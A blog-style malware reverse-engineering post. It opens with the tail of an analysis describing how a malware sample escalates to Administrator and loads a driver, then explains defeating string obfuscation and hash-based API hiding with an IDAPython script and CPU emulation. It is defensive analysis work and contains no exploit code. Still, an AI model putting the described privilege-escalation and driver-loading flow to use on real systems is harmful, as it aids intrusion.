The token_fix global variable will fix the ESP in a such way, so it will point to the internal_func_a stack frame. Finally, the return address of internal_func_a is used to return to the original flow of execution (Fig 4).

Figure 4: Searching for return address

Once found, the flow will land in internal_func_a (Fig 5).

Figure 5: Execution after exploitation

Now, the running process has Administrator account rights, so the only simple thing left is just to re-launch itself, drop and load the driver. Just to note, that on 64 bit systems, there are similar flow of events occur.

Abusing Malware Protections

Instead of an Intro

During any RE project, precise goal definition is one of the most important steps, without which the project will most likely fail. And I’m not even talking about how time consuming it could be, as frequently I can find the rabbit hole but I’m not really aware how deep it goes. The context for the whole post is RE of malicious software and here I’d like to talk a little bit about the way to put some of the work on the shoulders of the malware itself and still be able to concentrate on the main goals. I also want to point out that I’ll be using the malicious code striped from all 3rd party packers and crypters – the code that malware author wrote at the first place.

What am I after?

In my opinion, malware authors are well aware of the techniques that are used to analyze their “fruits” and they also understand that they can’t prevent the analysis of it. BUT, they definitely can make this process harder. Of course, harder is the matter of experience and tools. The harder part is the one I’d like to return back to malware and use it against it. So here are some examples of hindering the analysis:

  • String obfuscation

    A lot of benefit from it could be seen during static analysis. IMHO dynamic analysis suffers less and pretty easily the real string is revealed just by stepping through the de-obfuscation function.

    string obfuscation

  • API hiding

    This will complicate the understanding of the flow and definitely make it harder to do statical or dynamic analysis. On the following figure, there are meaningless imports in terms of understanding what the soft is doing. Of course one can argue that everything will be imported and resolved during the runtime and it’s true, but what matters is what technique will be used for that. I’ll explain this later on.

    meaningless imports

There are of course many other ways to make the work of malware analyst challenging like code packing and encryption or add anti-debugging but I’d like to concentrate on the above as I think that APIs and strings are important enough during the analysis and it’s a good example to demonstrate the whole idea. In addition explained technique can also be used to solve other mentioned problems.

Malware is my partner

Let’s say that in this particular example I was interested in the network part. The problem was that all APIs and strings were hidden, which makes analysis not so pleasant, so let’s remove the curtain. I’m assuming that if the strings are obfuscated then there must be routine which will de-obfuscate them back, meaning that it will probably be called relatively often. Using the following script I got 10 most referenced functions, hoping to find what I need there:

Get 10 most referenced functions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from idautils import *
from idaapi import *

def NumOfRefs(address):
  res = 0
  for ref_ea in CodeRefsTo(address, 0):
      res = res + 1
  return res

ea = BeginEA()
sum_of_funcs = 0
func_stats = dict()

for funcea in Functions(SegStart(ea), SegEnd(ea)):
    functionName = GetFunctionName(funcea)
    if 'sub_' in functionName:
      num_of_refs = NumOfRefs(funcea)
      func_stats[functionName] = num_of_refs

sorted_func_stats = sorted(func_stats.items(), key=lambda x: x[1], reverse=True)
first_ten = 0
for f in sorted_func_stats:
  if f[1] > 1:
      print "%s called %d times" % (f[0], f[1])
      if first_ten >= 10:
          break
      first_ten = first_ten + 1

With a little help from dynamic analysis, I found that the following code was the actual de-obfuscator. It was called several hundred times throughout the code and it looked relatively complex.

string de-obfuscation

Another interesting finding from the call statistics was the technique which was used to hide API calls. For every function name the hash value was pre-calculated and hardcoded during development. So, during runtime the export table of the specified DLL was parsed and each API name hashed till the needed function found.

api hash-based resolution

Now, that the obfuscation techniques are known, I want to be able to reveal all the hidden information so I can continue network related analysis – concentrate on the initial goal – which I prefer to do statically most of the time. To sum things up, I needed some sort of automatic way to

  • get all the strings and APIs.
  • don’t reverse engineer the obfuscation algorithm at all as it could be changed in the future.
  • do everything in clean environment and not in the sandbox

Can it be done? Yes, it can, by the means of CPU emulation. Further I’ll show how to combine CPU emulation with IDA Pro to solve the above problems.